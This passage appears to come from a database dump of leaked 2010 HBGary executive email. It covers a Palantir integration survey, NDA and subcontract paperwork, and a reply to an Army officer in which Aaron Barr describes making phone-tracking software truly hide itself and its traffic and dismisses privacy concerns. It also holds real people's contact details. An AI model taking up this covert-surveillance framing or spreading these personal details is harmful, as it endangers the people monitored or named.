Aaron Barr &lt;aaron@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;Cc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;Subject: SecDev-HBGary - integration workDear Aaron, Rich,As per our brief discussion during the WebEx on Friday, SecDev is currently studying the potential market space for integration work between HBGary\'s malware analysis products and the Palantir platform, to establish what the opportunities are for a potential joint offering, especially when it comes to realtime threat intelligence and combining malware forensic data with network intelligence.&nbsp;Following from our previous discussions, I would appreciate it if you could provide some idea to us of the following aspects of your client base. Please be assured that this information is kept confidential as per the terms of our NDA.1. How many of your existing clients are using data visualization and/or analytical tool similar to Palantir? What sort of market segment do these clients represent&nbsp;(e.g., commercial, government), and what solution would they be looking for? Have any of your customers expressed an interest in Palantir specifically, or are currently using Palantir?&nbsp;Do you have partnerships with firms that provide products&nbsp;similar&nbsp;to Palantir?2.&nbsp;&nbsp;How many of your prospective clients&nbsp;are using data visualization and/or analytical tool similar to Palantir (or use Palantir), and have asked you about integration?&nbsp;What sort of market segment do these clients represent&nbsp;(e.g., commercial, government), and what solution would they be looking for?3. &nbsp;What is the approximate value of each of your client contracts? &nbsp;a) 10-50Kb) 50-100Kc) 100-500Kd) 500k-1Me) 1M-2Mf) 2M and aboveg) Other4. How much do you think a client would be willing to spend on an integration package between your product and Palantir?a) 10-50Kb) 50-100Kc) 100-500Kd) 500k-1M5. Do you have any current clients that have an immediate need for integration? If so, what is the main objective of the integration work? Are you interested in a joint venture with SecDev to handle this integration work?Thanks very much for your assistance in this. I am also working on scheduling a meeting on May 12 in Washington, as per our last exchange.Best wishes,ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.',5659,'aaron_hbgary_com/5659.html'),(6281,'2010-05-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004495.M70586P14101Q1135.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: executed consulting','Begin forwarded message:From: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;\r\nTo: &#39;Ted Vera&#39; &lt;ted@hbgary.com&gt;Subject: executed consultingHere you to\r\nPenny C. LeavyPresidentHBGary, Inc\r\nNOTICE - Any tax information or written tax advice contained herein(including attachments) is not intended to be and cannot be used by anytaxpayer for the purpose of avoiding tax penalties that may be imposed on\r\nthe taxpayer.  (The foregoing legend has been affixed pursuant to U.S.Treasury regulations governing tax practice.)This message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by theintended recipient. If you are not the intended recipient or the personresponsible for   delivering the message to the intended recipient, be\r\nadvised that you have received this message in error and that anydissemination, copying or use of this message or attachment is strictly\r\n\r\n',2269,'aaron_hbgary_com/2269.html'),(6282,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004495.M727899P14101Q1137.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Follow-up: SecDev-HBGary - integration work','Hi Arnav,The answers are not clear cut, meaning in many cases the answer varies as our customer base is very diverse.  Let me give you a call this morning if your available?\r\nAaronSent from my iPadOn May 13, 2010, at 7:17 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nDear Aaron, Rich,I am writing to follow-up on my email below regarding gauging the market for integration work. I would be happy to talk to you over the phone about this if you prefer.\r\nBest wishes,Arnav613-755-4007From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;\r\nDate: May 10, 2010 12:21:19 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\nSubject: SecDev-HBGary - integration work\r\nDear Aaron, Rich,\r\n\r\nAs per our brief discussion during the WebEx on Friday, SecDev is currently studying the potential market space for integration work between HBGary&#39;s malware analysis products and the Palantir platform, to establish what the opportunities are for a potential joint offering, especially when it comes to realtime threat intelligence and combining malware forensic data with network intelligence. Following from our previous discussions, I would appreciate it if you could provide some idea to us of the following aspects of your client base. Please be assured that this information is kept confidential as per the terms of our NDA.\r\n\r\n1. How many of your existing clients are using data visualization and/or analytical tool similar to Palantir? What sort of market segment do these clients represent (e.g., commercial, government), and what solution would they be looking for? Have any of your customers expressed an interest in Palantir specifically, or are currently using Palantir? Do you have partnerships with firms that provide products similar to Palantir?\r\n\r\n2.  How many of your prospective clients are using data visualization and/or analytical tool similar to Palantir (or use Palantir), and have asked you about integration? What sort of market segment do these clients represent (e.g., commercial, government), and what solution would they be looking for?\r\n\r\n3.  What is the approximate value of each of your client contracts?  \r\na) 10-50Kb) 50-100K\r\nc) 100-500Kd) 500k-1M\r\ne) 1M-2Mf) 2M and above\r\ng) Other\r\n4. How much do you think a client would be willing to spend on an integration package between your product and Palantir?\r\na) 10-50Kb) 50-100K\r\nc) 100-500Kd) 500k-1M\r\n5. Do you have any current clients that have an immediate need for integration? If so, what is the main objective of the integration work? Are you interested in a joint venture with SecDev to handle this integration work?\r\n\r\nThanks very much for your assistance in this. I am also working on scheduling a meeting on May 12 in Washington, as per our last exchange.\r\nBest wishes,\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n',4403,'aaron_hbgary_com/4403.html'),(6283,'2010-05-13','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004495.M991971P14101Q1138.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Follow-up: SecDev-HBGary - integration work','Hi Aaron,Would you be free tomorrow? I\'m free late morning and through the afternoon. Perhaps 1pm EST?Best wishes,ArnavOn 2010-05-13, at 7:52 AM, Aaron Barr wrote:Hi Arnav,The answers are not clear cut, meaning in many cases the answer varies as our customer base is very diverse. &nbsp;Let me give you a call this morning if your available?\r\nAaronSent from my iPadOn May 13, 2010, at 7:17 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nDear Aaron, Rich,I am writing to follow-up on my email below regarding gauging the market for integration work. I would be happy to talk to you over the phone about this if you prefer.\r\nBest wishes,Arnav613-755-4007From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;\r\nDate: May 10, 2010 12:21:19 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\nSubject: SecDev-HBGary - integration work\r\nDear Aaron, Rich,\r\n\r\nAs per our brief discussion during the WebEx on Friday, SecDev is currently studying the potential market space for integration work between HBGary\'s malware analysis products and the Palantir platform, to establish what the opportunities are for a potential joint offering, especially when it comes to realtime threat intelligence and combining malware forensic data with network intelligence.&nbsp;Following from our previous discussions, I would appreciate it if you could provide some idea to us of the following aspects of your client base. Please be assured that this information is kept confidential as per the terms of our NDA.\r\n\r\n1. How many of your existing clients are using data visualization and/or analytical tool similar to Palantir? What sort of market segment do these clients represent&nbsp;(e.g., commercial, government), and what solution would they be looking for? Have any of your customers expressed an interest in Palantir specifically, or are currently using Palantir?&nbsp;Do you have partnerships with firms that provide products&nbsp;similar&nbsp;to Palantir?\r\n\r\n2.&nbsp;&nbsp;How many of your prospective clients&nbsp;are using data visualization and/or analytical tool similar to Palantir (or use Palantir), and have asked you about integration?&nbsp;What sort of market segment do these clients represent&nbsp;(e.g., commercial, government), and what solution would they be looking for?\r\n\r\n3. &nbsp;What is the approximate value of each of your client contracts? &nbsp;\r\na) 10-50Kb) 50-100K\r\nc) 100-500Kd) 500k-1M\r\ne) 1M-2Mf) 2M and above\r\ng) Other\r\n4. How much do you think a client would be willing to spend on an integration package between your product and Palantir?\r\na) 10-50Kb) 50-100K\r\nc) 100-500Kd) 500k-1M\r\n5. Do you have any current clients that have an immediate need for integration? If so, what is the main objective of the integration work? Are you interested in a joint venture with SecDev to handle this integration work?\r\n\r\nThanks very much for your assistance in this. I am also working on scheduling a meeting on May 12 in Washington, as per our last exchange.\r\nBest wishes,\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n',5264,'aaron_hbgary_com/5264.html'),(6284,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004496.M218317P14101Q1139.eml','\"Edna Robinson\" <erobinson6@csc.com>,\"Edna Robinson\" <erobinson6@csc.com>,','Re: CTSC - Documents - HB Gray','Thanks for the reminder Edna.  The status is they are not complete but\r\ni will finish them and get them to you today.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 12, 2010, at 5:19 PM, Edna Robinson  wrote:\r\n\r\n> Good Afternoon Aaron,\r\n>\r\n> As of today I have not received a response regarding the CTSC MOU or\r\n> additional documents required.\r\n>\r\n> Please provide a status.\r\n>\r\n> Thanks\r\n>\r\n> Edna Robinson\r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n>\r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F:\r\n> 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n>\r\n>\r\n> This is a PRIVATE message. If you are not the intended recipient, please\r\n> delete without copying and kindly advise us by e-mail of the mistake in\r\n> delivery.\r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to\r\n> any order or other contract unless pursuant to explicit written agreement\r\n> or government initiative expressly permitting the use of e-mail for such\r\n> purpose.\r\n>\r\n>\r\n>\r\n> From:\r\n> Edna Robinson/USA/CSC\r\n> To:\r\n> Aaron Barr \r\n> Cc:\r\n> Paul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n> Date:\r\n> 05/04/2010 03:14 PM\r\n> Subject:\r\n> Re: CTSC - Documents\r\n>\r\n>\r\n> Good Afternoon Aaron,\r\n>\r\n> Per the discussions that CSC has had regarding the Cyber Technology\r\n> Services Contract (CTSC) opportunity, attached is a “Draft Memorandum of\r\n> Understanding” for your review and response.   We value the capabilities\r\n> and services that you bring and look forward to working together in\r\n> winning this important work.\r\n>\r\n>\r\n>\r\n>\r\n> In addition to the MOU, the following documents are also required.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Please review, update, and return the required documents at your earliest\r\n> convenience.\r\n>\r\n> If you have any questions, please do not hesitate to ask.\r\n>\r\n> Thanks\r\n>\r\n> Edna Robinson\r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n>\r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F:\r\n> 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n>\r\n>\r\n>\r\n>\r\n> This is a PRIVATE message. If you are not the intended recipient, please\r\n> delete without copying and kindly advise us by e-mail of the mistake in\r\n> delivery.\r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to\r\n> any order or other contract unless pursuant to explicit written agreement\r\n> or government initiative expressly permitting the use of e-mail for such\r\n> purpose.\r\n>\r\n>\r\n>\r\n>\r\n> From:\r\n> Edna Robinson/USA/CSC\r\n> To:\r\n> Aaron Barr \r\n> Cc:\r\n> Paul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n> Date:\r\n> 04/26/2010 01:58 PM\r\n> Subject:\r\n> Re: CTSC Non Disclosure Agreement\r\n>\r\n>\r\n> Aaron,\r\n>\r\n> Please find the CTSC NDA full executed.\r\n>\r\n> [attachment \"CTSC Non-Disclosure Agreement. - HB Gray.pdf\" deleted by Edna\r\n> Robinson/USA/CSC]\r\n>\r\n> Thanks\r\n>\r\n> Edna Robinson\r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n>\r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F:\r\n> 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n>\r\n>\r\n>\r\n>\r\n> This is a PRIVATE message. If you are not the intended recipient, please\r\n> delete without copying and kindly advise us by e-mail of the mistake in\r\n> delivery.\r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to\r\n> any order or other contract unless pursuant to explicit written agreement\r\n> or government initiative expressly permitting the use of e-mail for such\r\n> purpose.\r\n>\r\n>\r\n>\r\n>\r\n> From:\r\n> Aaron Barr \r\n> To:\r\n> Edna Robinson/USA/CSC@CSC\r\n> Date:\r\n> 04/26/2010 11:09 AM\r\n> Subject:\r\n> Re: CTSC Non Disclosure Agreement\r\n>\r\n>\r\n>\r\n> Here you go.\r\n>\r\n> Aaron\r\n> [attachment \"CSC CTSC NDA_0_20100426_1107.pdf\" deleted by Edna\r\n> Robinson/USA/CSC]\r\n>\r\n> On Apr 21, 2010, at 10:10 AM, Edna Robinson wrote:\r\n>\r\n>\r\n> Good Morning Aaron,\r\n>\r\n> Let me know if you can open this one.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Edna Robinson\r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n>\r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F:\r\n> 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n>\r\n>\r\n>\r\n>\r\n> This is a PRIVATE message. If you are not the intended recipient, please\r\n> delete without copying and kindly advise us by e-mail of the mistake in\r\n> delivery.\r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to\r\n> any order or other contract unless pursuant to explicit written agreement\r\n> or government initiative expressly permitting the use of e-mail for such\r\n> purpose.\r\n>\r\n>\r\n> From:\r\n> Aaron Barr \r\n> To:\r\n> Edna Robinson/USA/CSC@CSC\r\n> Date:\r\n> 04/21/2010 09:28 AM\r\n> Subject:\r\n> Re: CTSC Non Disclosure Agreement\r\n>\r\n>\r\n>\r\n>\r\n> Hi Edna,\r\n>\r\n> Could you resend this document.  I am getting a corruption error.  It\r\n> might be on my end, I am on a Mac.\r\n>\r\n> Thank you,\r\n> Aaron\r\n>\r\n> On Apr 20, 2010, at 3:13 PM, Edna Robinson wrote:\r\n>\r\n>\r\n> Good Afternoon Mr. Aron,\r\n>\r\n> Please sign an return the attached Non Disclosure agreement at your\r\n> earliest convenience so that it may be Fully Executed prior to your\r\n> meeting\r\n> with Paul Rooney.\r\n>\r\n>\r\n>\r\n> Thanks\r\n>\r\n> Edna Robinson\r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n>\r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F:\r\n> 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.comEdna Robinson\r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n>\r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F:\r\n> 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n>\r\n>\r\n>\r\n>\r\n> This is a PRIVATE message. If you are not the intended recipient, please\r\n> delete without copying and kindly advise us by e-mail of the mistake in\r\n> delivery.\r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to\r\n> any order or other contract unless pursuant to explicit written agreement\r\n> or government initiative expressly permitting the use of e-mail for such\r\n> purpose.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n> \r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> \r\n> \r\n> \r\n',5184,'aaron_hbgary_com/5184.html'),(6285,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004496.M440171P14101Q1140.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Follow-up: SecDev-HBGary - integration work','Would 2pm be ok?  I have a lunch appointment until about 130pm.AaronSent from my iPadOn May 13, 2010, at 7:53 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Would you be free tomorrow? I&#39;m free late morning and through the afternoon. Perhaps 1pm EST?Best wishes,\r\nArnavOn 2010-05-13, at 7:52 AM, Aaron Barr wrote:Hi Arnav,The answers are not clear cut, meaning in many cases the answer varies as our customer base is very diverse.  Let me give you a call this morning if your available?\r\n\r\nAaronSent from my iPadOn May 13, 2010, at 7:17 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\nDear Aaron, Rich,I am writing to follow-up on my email below regarding gauging the market for integration work. I would be happy to talk to you over the phone about this if you prefer.\r\n\r\nBest wishes,Arnav613-755-4007From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;\r\n\r\nDate: May 10, 2010 12:21:19 PM EDT\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;\r\n\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\n\r\nSubject: SecDev-HBGary - integration work\r\n\r\nDear Aaron, Rich,\r\n\r\n\r\n\r\nAs per our brief discussion during the WebEx on Friday, SecDev is currently studying the potential market space for integration work between HBGary&#39;s malware analysis products and the Palantir platform, to establish what the opportunities are for a potential joint offering, especially when it comes to realtime threat intelligence and combining malware forensic data with network intelligence. Following from our previous discussions, I would appreciate it if you could provide some idea to us of the following aspects of your client base. Please be assured that this information is kept confidential as per the terms of our NDA.\r\n\r\n\r\n\r\n1. How many of your existing clients are using data visualization and/or analytical tool similar to Palantir? What sort of market segment do these clients represent (e.g., commercial, government), and what solution would they be looking for? Have any of your customers expressed an interest in Palantir specifically, or are currently using Palantir? Do you have partnerships with firms that provide products similar to Palantir?\r\n\r\n\r\n\r\n2.  How many of your prospective clients are using data visualization and/or analytical tool similar to Palantir (or use Palantir), and have asked you about integration? What sort of market segment do these clients represent (e.g., commercial, government), and what solution would they be looking for?\r\n\r\n\r\n\r\n3.  What is the approximate value of each of your client contracts?  \r\n\r\na) 10-50Kb) 50-100K\r\n\r\nc) 100-500Kd) 500k-1M\r\n\r\ne) 1M-2Mf) 2M and above\r\n\r\ng) Other\r\n\r\n4. How much do you think a client would be willing to spend on an integration package between your product and Palantir?\r\n\r\na) 10-50Kb) 50-100K\r\n\r\nc) 100-500Kd) 500k-1M\r\n\r\n5. Do you have any current clients that have an immediate need for integration? If so, what is the main objective of the integration work? Are you interested in a joint venture with SecDev to handle this integration work?\r\n\r\n\r\n\r\nThanks very much for your assistance in this. I am also working on scheduling a meeting on May 12 in Washington, as per our last exchange.\r\n\r\nBest wishes,\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\n\r\ncomplexity.engaged\r\n\r\nWorld Exchange Plaza\r\n\r\n45 O&#39;Connor Street, Suite 1150\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\nOffice: +1 (613) 755-4007\r\n\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3924,'aaron_hbgary_com/3924.html'),(6286,'2010-05-13','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004496.M767294P14101Q1141.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Follow-up: SecDev-HBGary - integration work','I have a call at 2pm... 2:30 or 3:00?\r\n\r\nOn 2010-05-13, at 7:55 AM, Aaron Barr wrote:Would 2pm be ok? &nbsp;I have a lunch appointment until about 130pm.AaronSent from my iPadOn May 13, 2010, at 7:53 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Would you be free tomorrow? I\'m free late morning and through the afternoon. Perhaps 1pm EST?Best wishes,\r\nArnavOn 2010-05-13, at 7:52 AM, Aaron Barr wrote:Hi Arnav,The answers are not clear cut, meaning in many cases the answer varies as our customer base is very diverse. &nbsp;Let me give you a call this morning if your available?\r\n\r\nAaronSent from my iPadOn May 13, 2010, at 7:17 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\nDear Aaron, Rich,I am writing to follow-up on my email below regarding gauging the market for integration work. I would be happy to talk to you over the phone about this if you prefer.\r\n\r\nBest wishes,Arnav613-755-4007From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;\r\n\r\nDate: May 10, 2010 12:21:19 PM EDT\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;\r\n\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\n\r\nSubject: SecDev-HBGary - integration work\r\n\r\nDear Aaron, Rich,\r\n\r\n\r\n\r\nAs per our brief discussion during the WebEx on Friday, SecDev is currently studying the potential market space for integration work between HBGary\'s malware analysis products and the Palantir platform, to establish what the opportunities are for a potential joint offering, especially when it comes to realtime threat intelligence and combining malware forensic data with network intelligence.&nbsp;Following from our previous discussions, I would appreciate it if you could provide some idea to us of the following aspects of your client base. Please be assured that this information is kept confidential as per the terms of our NDA.\r\n\r\n\r\n\r\n1. How many of your existing clients are using data visualization and/or analytical tool similar to Palantir? What sort of market segment do these clients represent&nbsp;(e.g., commercial, government), and what solution would they be looking for? Have any of your customers expressed an interest in Palantir specifically, or are currently using Palantir?&nbsp;Do you have partnerships with firms that provide products&nbsp;similar&nbsp;to Palantir?\r\n\r\n\r\n\r\n2.&nbsp;&nbsp;How many of your prospective clients&nbsp;are using data visualization and/or analytical tool similar to Palantir (or use Palantir), and have asked you about integration?&nbsp;What sort of market segment do these clients represent&nbsp;(e.g., commercial, government), and what solution would they be looking for?\r\n\r\n\r\n\r\n3. &nbsp;What is the approximate value of each of your client contracts? &nbsp;\r\n\r\na) 10-50Kb) 50-100K\r\n\r\nc) 100-500Kd) 500k-1M\r\n\r\ne) 1M-2Mf) 2M and above\r\n\r\ng) Other\r\n\r\n4. How much do you think a client would be willing to spend on an integration package between your product and Palantir?\r\n\r\na) 10-50Kb) 50-100K\r\n\r\nc) 100-500Kd) 500k-1M\r\n\r\n5. Do you have any current clients that have an immediate need for integration? If so, what is the main objective of the integration work? Are you interested in a joint venture with SecDev to handle this integration work?\r\n\r\n\r\n\r\nThanks very much for your assistance in this. I am also working on scheduling a meeting on May 12 in Washington, as per our last exchange.\r\n\r\nBest wishes,\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\n\r\ncomplexity.engaged\r\n\r\nWorld Exchange Plaza\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\n\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15515,'aaron_hbgary_com/15515.html'),(6287,'2010-05-13','\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>','/aaron@hbgary.com/new/1297004497.M18908P14101Q1142.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Aaron, Something like this perhaps...? (UNCLASSIFIED)','\r\n\r\n\r\n\r\n\r\nConfirming meetng today at 1200 at SCO\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nhttp://www.informationweek.com/news/mobility/security/showArticle.jhtml?articleID=224700437&amp;queryText=mobile%20and%20spy%20and%20tracks%20and%20android\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLieutenant Colonel&nbsp;Lincoln Leibner\r\n\r\nUnited States Army\r\n\r\nOperations and Technology Office\r\n\r\n703-697-7131 \r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11322,'aaron_hbgary_com/11322.html'),(6288,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004497.M254919P14101Q1143.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: Aaron, Something like this perhaps...? (UNCLASSIFIED)','Can we do things similar.AaronSent from my iPadBegin forwarded message:From: &quot;Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7&quot; &lt;lincoln.leibner@us.army.mil&gt;\r\nDate: May 13, 2010 8:24:32 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;Lachow, Irving Mr OSD ATL&quot; &lt;irving.lachow@osd.mil&gt;\r\nSubject: Aaron, Something like this perhaps...? (UNCLASSIFIED)\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nhttp://www.informationweek.com/news/mobility/security/showArticle.jhtml?articleID=224700437&amp;queryText=mobile%20and%20spy%20and%20tracks%20and%20android\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nLieutenant Colonel Lincoln Leibner\r\n\r\nUnited States Army\r\n\r\nOperations and Technology Office\r\n\r\n703-697-7131 \r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8418,'aaron_hbgary_com/8418.html'),(6289,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004497.M608766P14101Q1144.eml','\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>','Re: Aaron, Something like this perhaps...? (UNCLASSIFIED)','Yes something like that. &nbsp;As a commercial solution a few things this solution doesn\'t have to worry about:1) hiding itself on the phone, and I mean really hiding itself.2) hiding the communications traffic going out.But there are ways to accomplish this.There are also other ways to approach this. &nbsp;Most people are concerned about privacy until they get something in return for what they give up. &nbsp;I remember a few years ago the thought of providing information about what you were interested in, where you were, etc. evoked strong emotions. &nbsp;It still does but the tide is quickly shifting and people are readily giving up their private information because they feel they are personally benefiting from what they give up. &nbsp;Concerns over privacy interestingly are becoming less and less of an issue commercially, at an individual level. &nbsp;The special interest groups will keep it in the news though.You had mentioned a few specific platforms, this being one of them. &nbsp;We can deep dive on any one of these as we have experience in pretty much all of them, including Virtual Worlds, MMOs, and mobile devices.It was good meeting you Lincoln. &nbsp;Let me know how I can help.AaronOn May 13, 2010, at 8:24 AM, Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7 wrote:Classification: UNCLASSIFIEDCaveats: 